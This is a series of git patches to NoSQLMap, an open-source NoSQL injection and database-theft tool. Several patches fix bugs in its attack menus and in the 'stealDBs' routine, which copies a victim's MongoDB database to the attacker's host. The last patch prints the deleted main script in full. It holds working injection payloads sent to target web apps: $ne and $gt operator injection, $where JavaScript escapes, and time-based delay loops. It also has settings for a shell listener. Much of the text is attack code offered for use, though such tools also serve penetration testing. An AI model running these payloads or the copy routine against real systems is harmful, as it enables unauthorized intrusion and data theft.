From f6a5e106a1dbad8e7f8a8176d2f35a8dc6196fc1 Mon Sep 17 00:00:00 2001
From: Carl Sun <826123027@qq.com>
Date: Thu, 5 May 2016 17:10:03 +0800
Subject: [PATCH 01/99] test
---
nsmcouch.py | 3 +--
1 file changed, 1 insertion(+), 2 deletions(-)
diff --git a/nsmcouch.py b/nsmcouch.py
index 3bf05f7..cbabf1d 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -14,7 +14,7 @@
#along with this program. If not, see .
-
+#test
import couchdb
import urllib
import requests
@@ -83,7 +83,6 @@ def netAttacks(target,port, myIP):
mgtSelect = True
#This is a global for future use with other modules; may change
dbList = []
-
print "Checking to see if credentials are needed..."
needCreds = couchScan(target,port,False)
From f7bfa614b07c12af0903bea4bc6ade5493b026d5 Mon Sep 17 00:00:00 2001
From: Carl Sun <826123027@qq.com>
Date: Thu, 5 May 2016 17:14:21 +0800
Subject: [PATCH 02/99] test
---
nsmcouch.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/nsmcouch.py b/nsmcouch.py
index cbabf1d..a51f83b 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -14,7 +14,7 @@
#along with this program. If not, see .
-#test
+#test11
import couchdb
import urllib
import requests
From 2718ba69035834097fdfa90c3b4f20fb0c387fa1 Mon Sep 17 00:00:00 2001
From: Carl Sun <826123027@qq.com>
Date: Thu, 5 May 2016 17:22:20 +0800
Subject: [PATCH 03/99] sunxiuyang
---
nsmcouch.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/nsmcouch.py b/nsmcouch.py
index a51f83b..c9d759f 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -14,7 +14,7 @@
#along with this program. If not, see .
-#test11
+#sunxiuyang
import couchdb
import urllib
import requests
From 0106e1b48b4f18d0d66f55983e9513757a41caea Mon Sep 17 00:00:00 2001
From: Carl Sun <826123027@qq.com>
Date: Thu, 5 May 2016 17:22:20 +0800
Subject: [PATCH 04/99] fix two bug of set local mongoDB/shell IP
bug1:
Every time when user input Invalid IP, goodLen and goodDigits should be reset. If not do this, there will be a bug
For example enter 10.0.0.1234 firtly and the goodLen will be set to True and goodDigits will be set to False
Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
line number is 313
set local mongoDB IP
test:
10.0.0.1234
10.0.123
bug2:
Default value of goodDigits should be set to True
line number is 335
set local mongoDB IP:
test:
12.123435.12.10
---
.idea/NoSQLMap-v0.5.iml | 11 +++++++++++
nosqlmap.py | 35 +++++++++++++++++++++--------------
nsmcouch.py | 2 +-
3 files changed, 33 insertions(+), 15 deletions(-)
create mode 100644 .idea/NoSQLMap-v0.5.iml
diff --git a/.idea/NoSQLMap-v0.5.iml b/.idea/NoSQLMap-v0.5.iml
new file mode 100644
index 0000000..6711606
--- /dev/null
+++ b/.idea/NoSQLMap-v0.5.iml
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/nosqlmap.py b/nosqlmap.py
index 895417f..02a550b 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -233,18 +233,19 @@ def options():
#Treat this as a DNS name
optionSet[0] = True
notDNS = False
+ else:
+ #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
+ #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
+ for item in octets:
+ try:
+ if int(item) < 0 or int(item) > 255:
+ print "Bad octet in IP address."
+ goodDigits = False
- #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
- for item in octets:
- try:
- if int(item) < 0 or int(item) > 255:
- print "Bad octet in IP address."
- goodDigits = False
-
- except:
- #Must be a DNS name (for now)
+ except:
+ #Must be a DNS name (for now)
- notDNS = False
+ notDNS = False
#If everything checks out set the IP and break the loop
if goodDigits == True or notDNS == False:
@@ -307,9 +308,13 @@ def options():
elif select == "7":
#Unset the setting boolean since we're setting it again.
optionSet[4] = False
- goodLen = False
- goodDigits = False
+
while optionSet[4] == False:
+ goodLen = False
+ goodDigits = True
+ #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If not do this, there will be a bug
+ #For example enter 10.0.0.1234 firtly and the goodLen will be set to True and goodDigits will be set to False
+ #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
#make sure we got a valid IP
octets = myIP.split(".")
@@ -327,8 +332,10 @@ def options():
print "Bad octet in IP address."
goodDigits = False
- else:
- goodDigits = True
+# else:
+# goodDigits = True
+ #Default value of goodDigits should be set to True
+ #for example 12.12345.12.12
#If everything checks out set the IP and break the loop
diff --git a/nsmcouch.py b/nsmcouch.py
index a51f83b..c9d759f 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -14,7 +14,7 @@
#along with this program. If not, see .
-#test11
+#sunxiuyang
import couchdb
import urllib
import requests
From b5cd606913ac82cabfbba435665abadf560c675d Mon Sep 17 00:00:00 2001
From: youngyangyang04 <826123027@qq.com>
Date: Fri, 20 May 2016 22:04:25 +0800
Subject: [PATCH 05/99] Update nsmcouch.py
---
nsmcouch.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/nsmcouch.py b/nsmcouch.py
index c9d759f..1a0c525 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -14,7 +14,7 @@
#along with this program. If not, see .
-#sunxiuyang
+
import couchdb
import urllib
import requests
From 1374783234a8015ea334b02d7899ac4311e038ea Mon Sep 17 00:00:00 2001
From: Carl Sun <826123027@qq.com>
Date: Sat, 21 May 2016 16:53:49 +0800
Subject: [PATCH 06/99] operator ''>'' should be replace with ''>=' in 157 line
number Describtion when user select a database to steal, there is a bug if
user enter database number equal to the account of database plus one leak
test: 1-local 2-VASTTEST 3-admin Select a database to steal: 56 Invalid
selection. Select a database to steal: 23 Invalid selection. Select a
database to steal: 4 Does this database require credentials (y/n)?
4 is a invalid number, but system accept it
---
nsmmongo.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/nsmmongo.py b/nsmmongo.py
index 77971f5..7f2deab 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -154,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn):
while dbLoot:
dbLoot = raw_input("Select a database to steal: ")
- if int(dbLoot) > menuItem:
+ if int(dbLoot) >= menuItem:
print "Invalid selection."
else:
From 421cf5ad4aa809be79b191211b7401b2e4eb77bd Mon Sep 17 00:00:00 2001
From: Carl Sun <826123027@qq.com>
Date: Sun, 22 May 2016 12:41:11 +0800
Subject: [PATCH 07/99] Description: put the code "myDBConn =
pymongo.MongoClient(myDB, 27017)" out of the "if" statements, because if
don't do this, the code in line number 174 will be not executed if user
select the option that require credentials. lead test: Exception e is "local
variable 'myDBConn' referenced before assignment". It indicates the code in
line number 174 will be not executed if user select the option that require
credentials.
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
After modification
Exception e is "command SON([('copydb', 1), ('username', 'youngyangyang04'), ('nonce', u'b9d5887c5f7cc17c'), ('fromdb', u'admin'), ('todb', u'admin_stolen'), ('key', u'dcfd7214988466b2f620809fd27015b4'), ('fromhost', '128.95.1.27')]) failed: unable to login { code: 18, ok: 0.0, errmsg: "auth fails” }"
So the code in line number 174 works
---
nsmmongo.py | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/nsmmongo.py b/nsmmongo.py
index 7f2deab..ec3387e 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -163,9 +163,9 @@ def stealDBs(myDB,victim,mongoConn):
try:
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
-
+ myDBConn = pymongo.MongoClient(myDB, 27017)
if dbNeedCreds in no_tag:
- myDBConn = pymongo.MongoClient(myDB,27017)
+
myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
elif dbNeedCreds in yes_tag:
@@ -186,6 +186,7 @@ def stealDBs(myDB,victim,mongoConn):
return
except Exception, e:
+# print str(e)
if str(e).find('text search not enabled') != -1:
raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
return
From 6079d24872768bf8c16f5a9eac0f8c245b4ae6b9 Mon Sep 17 00:00:00 2001
From: Carl Sun <826123027@qq.com>
Date: Sun, 22 May 2016 13:32:01 +0800
Subject: [PATCH 08/99] add the state of Network in line number 192
---
nsmmongo.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/nsmmongo.py b/nsmmongo.py
index ec3387e..dfac3f9 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -186,11 +186,11 @@ def stealDBs(myDB,victim,mongoConn):
return
except Exception, e:
-# print str(e)
if str(e).find('text search not enabled') != -1:
raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
return
-
+ elif str(e).find('Network is unreachable') != -1:
+ raw_input("Are you sure your network is unreachable? Press enter to return..")
else:
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
return
From fea582fbb2e59da547b23ea8ffe68bca59d586ea Mon Sep 17 00:00:00 2001
From: Carl Sun <826123027@qq.com>
Date: Sat, 4 Jun 2016 10:21:39 +0800
Subject: [PATCH 09/99] add condition that optionSet[4] == True in line number
96 Because variable "myIP" should be set
---
nosqlmap.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/nosqlmap.py b/nosqlmap.py
index 02a550b..6e0c144 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -93,7 +93,7 @@ def mainMenu():
options()
elif select == "2":
- if optionSet[0] == True:
+ if optionSet[0] == True and optionSet[4] == True:
if platform == "MongoDB":
nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
From ca2052596e2b2a2dbc7727ce548c9bcf5cb7e695 Mon Sep 17 00:00:00 2001
From: tcstool
Date: Sat, 4 Jun 2016 17:43:29 -0500
Subject: [PATCH 10/99] 0.6 initial commit
---
nosqlmap.py | 1764 ---------------------------------------------------
nsmmongo.py | 660 +++++++++----------
nsmscan.py | 148 +++++
nsmweb.py | 1170 ++++++++++++++++++++++++++++++++++
4 files changed, 1648 insertions(+), 2094 deletions(-)
delete mode 100755 nosqlmap.py
create mode 100644 nsmscan.py
create mode 100644 nsmweb.py
diff --git a/nosqlmap.py b/nosqlmap.py
deleted file mode 100755
index 6e0c144..0000000
--- a/nosqlmap.py
+++ /dev/null
@@ -1,1764 +0,0 @@
-#!/usr/bin/python
-#NoSQLMap Copyright 2014 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program. If not, see .
-
-
-import sys
-import nsmcouch
-import nsmmongo
-import string
-import random
-import os
-import time
-import httplib2
-import urllib
-import urllib2
-import json
-import ipcalc
-import signal
-import ast
-import datetime
-import itertools
-import re
-
-def main():
- signal.signal(signal.SIGINT, signal_handler)
- global optionSet
- #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
- optionSet = [False]*9
- global yes_tag
- global no_tag
- yes_tag = ['y', 'Y']
- no_tag = ['n', 'N']
- global victim
- global webPort
- global uri
- global httpMethod
- global platform
- global https
- global myIP
- global myPort
- global verb
- global scanNeedCreds
- global dbPort
- #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
- platform = "MongoDB"
- dbPort = 27017
- myIP = "Not Set"
- myPort = "Not Set"
- mainMenu()
-
-def mainMenu():
- global platform
- global victim
- global dbPort
- global myIP
- global myPort
-
- mmSelect = True
- while mmSelect:
- os.system('clear')
- print "===================================================="
- print " _ _ _____ _____ _ ___ ___ "
- print "| \ | | / ___|| _ | | | \/ | "
- print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ "
- print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ "
- print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |"
- print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/"
- print "===================================================="
- print "NoSQLMap-v0.5"
- print "nosqlmap@gmail.com"
- print "\n"
- print "1-Set options"
- print "2-NoSQL DB Access Attacks"
- print "3-NoSQL Web App attacks"
- print "4-Scan for Anonymous " + platform + " Access"
- print "5-Change Platform (Current: " + platform + ")"
- print "x-Exit"
-
- select = raw_input("Select an option: ")
-
- if select == "1":
- options()
-
- elif select == "2":
- if optionSet[0] == True and optionSet[4] == True:
- if platform == "MongoDB":
- nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
-
- elif platform == "CouchDB":
- nsmcouch.netAttacks(victim, dbPort, myIP)
-
- #Check minimum required options
- else:
- raw_input("Target not set! Check options. Press enter to continue...")
-
-
- elif select == "3":
- #Check minimum required options
- if (optionSet[0] == True) and (optionSet[2] == True):
- if httpMethod == "GET":
- getApps()
-
- else:
- postApps()
-
- else:
- raw_input("Options not set! Check host and URI path. Press enter to continue...")
-
-
- elif select == "4":
- massScan()
-
- elif select == "5":
- platSel()
-
- elif select == "x":
- sys.exit()
-
- else:
- raw_input("Invalid selection. Press enter to continue.")
-
-def platSel():
- global platform
- global dbPort
- select = True
- print "\n"
- while select:
- print "1-MongoDB"
- print "2-CouchDB"
- pSel = raw_input("Select a platform: ")
-
- if pSel == "1":
- platform = "MongoDB"
- dbPort = 27017
- return
-
- elif pSel == "2":
- platform = "CouchDB"
- dbPort = 5984
- return
- else:
- psel = True
- raw_input("Invalid selection. Press enter to continue.")
-
-def options():
- global victim
- global webPort
- global uri
- global https
- global platform
- global httpMethod
- global postData
- global myIP
- global myPort
- global verb
- global mmSelect
- global dbPort
- global requestHeaders
- requestHeaders = {}
- optSelect = True
-
- #Set default value if needed
- if optionSet[0] == False:
- global victim
- victim = "Not Set"
- if optionSet[1] == False:
- global webPort
- webPort = 80
- optionSet[1] = True
- if optionSet[2] == False:
- global uri
- uri = "Not Set"
- if optionSet[3] == False:
- global httpMethod
- httpMethod = "GET"
- if optionSet[4] == False:
- global myIP
- myIP = "Not Set"
- if optionSet[5] == False:
- global myPort
- myPort = "Not Set"
- if optionSet[6] == False:
- verb = "OFF"
- optSelect = True
- if optionSet[8] == False:
- https = "OFF"
- optSelect = True
-
- while optSelect:
- print "\n\n"
- print "Options"
- print "1-Set target host/IP (Current: " + str(victim) + ")"
- print "2-Set web app port (Current: " + str(webPort) + ")"
- print "3-Set App Path (Current: " + str(uri) + ")"
- print "4-Toggle HTTPS (Current: " + str(https) + ")"
- print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")"
- print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")"
- print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")"
- print "8-Set shell listener port (Current: " + str(myPort) + ")"
- print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")"
- print "0-Load options file"
- print "a-Load options from saved Burp request"
- print "b-Save options file"
- print "h-Set headers"
- print "x-Back to main menu"
-
- select = raw_input("Select an option: ")
-
- if select == "1":
- #Unset the boolean if it's set since we're setting it again.
- optionSet[0] = False
- ipLen = False
-
- while optionSet[0] == False:
- goodDigits = True
- notDNS = True
- victim = raw_input("Enter the host IP/DNS name: ")
- #make sure we got a valid IP
- octets = victim.split(".")
-
- if len(octets) != 4:
- #Treat this as a DNS name
- optionSet[0] = True
- notDNS = False
- else:
- #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
- #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
- for item in octets:
- try:
- if int(item) < 0 or int(item) > 255:
- print "Bad octet in IP address."
- goodDigits = False
-
- except:
- #Must be a DNS name (for now)
-
- notDNS = False
-
- #If everything checks out set the IP and break the loop
- if goodDigits == True or notDNS == False:
- print "\nTarget set to " + victim + "\n"
- optionSet[0] = True
-
- elif select == "2":
- webPort = raw_input("Enter the HTTP port for web apps: ")
- print "\nHTTP port set to " + webPort + "\n"
- optionSet[1] = True
-
- elif select == "3":
- uri = raw_input("Enter URI Path (Press enter for no URI): ")
- print "\nURI Path set to " + uri + "\n"
- optionSet[2] = True
-
- elif select == "4":
- if https == "OFF":
- print "HTTPS enabled."
- https = "ON"
- optionSet[8] = True
-
- elif https == "ON":
- print "HTTPS disabled."
- https = "OFF"
- optionSet[8] = True
-
-
- elif select == "5":
- dbPort = int(raw_input("Enter target MongoDB port: "))
- print "\nTarget Mongo Port set to " + str(dbPort) + "\n"
- optionSet[7] = True
-
- elif select == "6":
- httpMethod = True
- while httpMethod == True:
-
- print "1-Send request as a GET"
- print "2-Send request as a POST"
- httpMethod = raw_input("Select an option: ")
-
- if httpMethod == "1":
- httpMethod = "GET"
- print "GET request set"
- requestHeaders = {}
- optionSet[3] = True
-
- elif httpMethod == "2":
- print "POST request set"
- optionSet[3] = True
- postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n")
- pdArray = postDataIn.split(",")
- paramNames = pdArray[0::2]
- paramValues = pdArray[1::2]
- postData = dict(zip(paramNames,paramValues))
- httpMethod = "POST"
- else:
- print "Invalid selection"
-
- elif select == "7":
- #Unset the setting boolean since we're setting it again.
- optionSet[4] = False
-
- while optionSet[4] == False:
- goodLen = False
- goodDigits = True
- #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If not do this, there will be a bug
- #For example enter 10.0.0.1234 firtly and the goodLen will be set to True and goodDigits will be set to False
- #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
- myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
- #make sure we got a valid IP
- octets = myIP.split(".")
- #If there aren't 4 octets, toss an error.
- if len(octets) != 4:
- print "Invalid IP length."
-
- else:
- goodLen = True
-
- if goodLen == True:
- #If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
- for item in octets:
- if int(item) < 0 or int(item) > 255:
- print "Bad octet in IP address."
- goodDigits = False
-
-# else:
-# goodDigits = True
- #Default value of goodDigits should be set to True
- #for example 12.12345.12.12
-
-
- #If everything checks out set the IP and break the loop
- if goodLen == True and goodDigits == True:
- print "\nShell/DB listener set to " + myIP + "\n"
- optionSet[4] = True
-
- elif select == "8":
- myPort = raw_input("Enter TCP listener for shells: ")
- print "Shell TCP listener set to " + myPort + "\n"
- optionSet[5] = True
-
- elif select == "9":
- if verb == "OFF":
- print "Verbose output enabled."
- verb = "ON"
- optionSet[6] = True
-
- elif verb == "ON":
- print "Verbose output disabled."
- verb = "OFF"
- optionSet[6] = True
-
- elif select == "0":
- loadPath = raw_input("Enter file name to load: ")
- try:
- fo = open(loadPath,"r" )
- csvOpt = fo.readlines()
- fo.close()
- optList = csvOpt[0].split(",")
- victim = optList[0]
- webPort = optList[1]
- uri = optList[2]
- httpMethod = optList[3]
- myIP = optList[4]
- myPort = optList[5]
- verb = optList[6]
- https = optList[7]
-
- if httpMethod == "POST":
- postData = ast.literal_eval(csvOpt[1])
-
- #Set option checking array based on what was loaded
- x = 0
- for item in optList:
- if item != "Not Set":
- optionSet[x] = True
- x += 1
- except:
- print "Couldn't load options file!"
-
- elif select == "a":
- loadPath = raw_input("Enter path to Burp request file: ")
-
- try:
- fo = open(loadPath,"r")
- reqData = fo.readlines()
-
- except:
- raw_input("error reading file. Press enter to continue...")
- return
-
- methodPath = reqData[0].split(" ")
-
- if methodPath[0] == "GET":
- httpMethod = "GET"
-
- elif methodPath[0] == "POST":
- paramNames = []
- paramValues = []
- httpMethod = "POST"
- postData = reqData[len(reqData)-1]
- #split the POST parameters up into individual items
- paramsNvalues = postData.split("&")
-
- for item in paramsNvalues:
- tempList = item.split("=")
- paramNames.append(tempList[0])
- paramValues.append(tempList[1])
-
- postData = dict(zip(paramNames,paramValues))
-
- else:
- print "unsupported method in request header."
-
- victim = reqData[1].split( " ")[1].replace("\r\n","")
- optionSet[0] = True
- uri = methodPath[1].replace("\r\n","")
- optionSet[2] = True
-
- elif select == "b":
- savePath = raw_input("Enter file name to save: ")
- try:
- fo = open(savePath, "wb")
- fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https)
-
- if httpMethod == "POST":
- fo.write(",\n"+ str(postData))
- fo.write(",\n" + str(requestHeaders) )
- fo.close()
- print "Options file saved!"
- except:
- print "Couldn't save options file."
-
- elif select == "h":
- reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n")
- reqHeadersArray = reqHeadersIn.split(",")
- headerNames = reqHeadersArray[0::2]
- headerValues = reqHeadersArray[1::2]
- requestHeaders = dict(zip(headerNames, headerValues))
-
- elif select == "x":
- return
-
-def postApps():
- print "Web App Attacks (POST)"
- print "==============="
- paramName = []
- paramValue = []
- global vulnAddrs
- vulnAddrs = []
- global possAddrs
- possAddrs = []
- timeVulnsStr = []
- timeVulnsInt = []
- appUp = False
- strTbAttack = False
- intTbAttack = False
- trueStr = False
- trueInt = False
- global postData
- global neDict
- global gtDict
- global requestHeaders
- testNum = 1
-
- #Verify app is working.
- print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
-
- if https == "OFF":
- appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
-
- elif https == "ON":
- appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
-
- try:
- body = urllib.urlencode(postData)
- req = urllib2.Request(appURL,body, requestHeaders)
- appRespCode = urllib2.urlopen(req).getcode()
-
- if appRespCode == 200:
-
- normLength = int(len(urllib2.urlopen(req).read()))
- timeReq = urllib2.urlopen(req)
- start = time.time()
- page = timeReq.read()
- end = time.time()
- timeReq.close()
- timeBase = round((end - start), 3)
-
- if verb == "ON":
- print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
-
- else:
- print "App is up!"
- appUp = True
- else:
- print "Got " + str(appRespCode) + "from the app, check your options."
-
- except Exception,e:
- print e
- print "Looks like the server didn't respond. Check your options."
-
- if appUp == True:
-
- menuItem = 1
- print "List of parameters:"
- for params in postData.keys():
- print str(menuItem) + "-" + params
- menuItem += 1
-
- try:
- injIndex = raw_input("Which parameter should we inject? ")
- injOpt = str(postData.keys()[int(injIndex)-1])
- print "Injecting the " + injOpt + " parameter..."
- except:
- raw_input("Something went wrong. Press enter to return to the main menu...")
- return
-
- injectSize = raw_input("Baseline test-Enter random string size: ")
- injectString = randInjString(int(injectSize))
- print "Using " + injectString + " for injection testing.\n"
-
- #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
- #Add error handling for Non-200 HTTP response codes if random strings freak out the app.
- postData.update({injOpt:injectString})
- if verb == "ON":
- print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n"
-
- else:
- print "Sending random parameter value..."
-
- body = urllib.urlencode(postData)
- req = urllib2.Request(appURL,body, requestHeaders)
- randLength = int(len(urllib2.urlopen(req).read()))
- print "Got response length of " + str(randLength) + "."
-
- randNormDelta = abs(normLength - randLength)
-
- if randNormDelta == 0:
- print "No change in response size injecting a random parameter..\n"
- else:
- print "Random value variance: " + str(randNormDelta) + "\n"
-
- #Generate not equals injection
- neDict = postData
- neDict[injOpt + "[$ne]"] = neDict[injOpt]
- del neDict[injOpt]
- body = urllib.urlencode(neDict)
- req = urllib2.Request(appURL,body, requestHeaders)
- if verb == "ON":
- print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..."
-
- else:
- print "Test 1: PHP/ExpressJS != associative array injection"
-
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
-
- else:
- testNum +=1
- print "\n"
-
- #Delete the extra key
- del postData[injOpt + "[$ne]"]
-
- #generate $gt injection
- gtDict = postData
- gtDict.update({injOpt:""})
- gtDict[injOpt + "[$gt]"] = gtDict[injOpt]
- del gtDict[injOpt]
- body = urllib.urlencode(gtDict)
- req = urllib2.Request(appURL,body, requestHeaders)
- if verb == "ON":
- print "Testing PHP/ExpressJS >Undefined Injection using " + str(postData) + "..."
-
- else:
- print "Test 2: PHP/ExpressJS > Undefined Injection"
-
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
-
- postData.update({injOpt:"a'; return db.a.find(); var dummy='!"})
- body = urllib.urlencode(postData)
- req = urllib2.Request(appURL,body, requestHeaders)
- if verb == "ON":
- print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
- print "Injecting " + str(postData)
-
- else:
- print "Test 3: $where injection (string escape)"
-
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
- else:
- testNum += 1
-
- print "\n"
-
- postData.update({injOpt:"1; return db.a.find(); var dummy=1"})
- body = urllib.urlencode(postData)
- req = urllib2.Request(appURL,body, requestHeaders)
- if verb == "ON":
- print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
- print "Injecting " + str(postData)
- else:
- print "Test 4: $where injection (integer escape)"
-
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
- else:
- testNum += 1
- print "\n"
-
- #Start a single record attack in case the app expects only one record back
- postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"})
- body = urllib.urlencode(postData)
- req = urllib2.Request(appURL,body, requestHeaders)
- if verb == "ON":
- print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
- print " Injecting " + str(postData)
-
- else:
- print "Test 5: $where injection string escape (single record)"
-
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
-
- else:
- testNum += 1
- print "\n"
-
- postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"})
- body = urllib.urlencode(postData)
- req = urllib2.Request(appURL,body, requestHeaders)
- if verb == "ON":
- print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
- print " Injecting " + str(postData)
-
- else:
- print "Test 6: $where injection integer escape (single record)"
-
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
-
- else:
- testNum += 1
- print "\n"
-
- postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"})
- body = urllib.urlencode(postData)
- req = urllib2.Request(appURL,body, requestHeaders)
-
- if verb == "ON":
- print "Testing Mongo this not equals string escape attack for all records..."
- print " Injecting " + str(postData)
-
- else:
- print "Test 7: This != injection (string escape)"
-
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
- print "\n"
- else:
- testNum += 1
-
- postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"})
- body = urllib.urlencode(postData)
- req = urllib2.Request(appURL,body, requestHeaders)
-
- if verb == "ON":
- print "Testing Mongo this not equals integer escape attack for all records..."
- print " Injecting " + str(postData)
- else:
- print "Test 8: This != injection (integer escape)"
-
- errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum)
-
- if errorCheck == False:
- injLen = int(len(urllib2.urlopen(req).read()))
- checkResult(randLength,injLen,testNum)
- testNum += 1
-
- else:
- testNum += 1
- print "\n"
-
- doTimeAttack = raw_input("Start timing based tests (y/n)? ")
-
- if doTimeAttack == "y" or doTimeAttack == "Y":
- print "Starting Javascript string escape time based injection..."
- postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
- body = urllib.urlencode(postData)
- conn = urllib2.urlopen(req,body)
- start = time.time()
- page = conn.read()
- end = time.time()
- conn.close()
- print str(end)
- print str(start)
- strTimeDelta = (int(round((end - start), 3)) - timeBase)
- #print str(strTimeDelta)
- if strTimeDelta > 25:
- print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
- strTbAttack = True
-
- else:
- print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
- strTbAttack = False
-
- print "Starting Javascript integer escape time based injection..."
-
- postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
- body = urllib.urlencode(postData)
- start = time.time()
- conn = urllib2.urlopen(req,body)
- page = conn.read()
- end = time.time()
- conn.close()
- print str(end)
- print str(start)
- intTimeDelta = ((end-start) - timeBase)
- #print str(strTimeDelta)
- if intTimeDelta > 25:
- print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
- intTbAttack = True
-
- else:
- print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
- intTbAttack = False
-
- print "\n"
